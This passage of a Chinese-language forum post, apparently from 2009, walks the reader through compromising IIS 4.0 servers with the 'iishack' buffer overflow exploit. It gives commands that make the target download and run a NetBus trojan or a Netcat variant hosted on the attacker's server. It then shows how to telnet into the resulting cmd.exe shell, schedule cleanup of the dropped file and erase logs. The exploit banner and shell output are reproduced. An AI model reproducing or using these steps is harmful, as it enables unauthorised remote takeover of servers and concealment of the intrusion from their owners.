netbus木马传到这个web server的目录下,比如你的web server是: www.mysvr.com? 而对方的IIS server是www.xxx.com
则: iishack www.xxx.com 80 www.mysvr.com/ncx99.exe ?? (注意,不要加http://字符!)
上述命令输入后这时你应该可以看到
------(IIS 4.0 remote buffer overflow exploit)-----------------
(c) dark spyrit -- barns@eeye.com. http://www.eEye.com
[usage: iishack <host> <port> <url> ]
eg - iishack www.xxx.com 80 www.mysvr.com/thetrojan.exe
do not include 'http://' before hosts!
---------------------------------------------------------------
Data sent!作者: sunweipeng 时间: 2009-7-29 13:46
然后,再把Netbus等特洛伊木马传到对方机器上去:
iishack www.example.com 80 www.myserver.com/netbus.exe
ncx99.exe实际上是有名的Netcat的变种,它把对方server的cmd.exe绑定到Telnet服务
ncx.exe 这是较早的版本,是把端口绑到80的,由于80端口跑web服
务,端口已经被使用.所以可能不一定有效
然后,用Telnet到对方的99或80端口:
Telnet www.xxx.com 99
结果是这样:
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:\>[You have full access to the system, happy browsing ]
C:\>[Add a scheduled task to restart inetinfo in X minutes]
C:\>[Add a scheduled task to delete ncx.exe in X-1 minutes]
C:\>[Clean up any trace or logs we might have left behind.]
]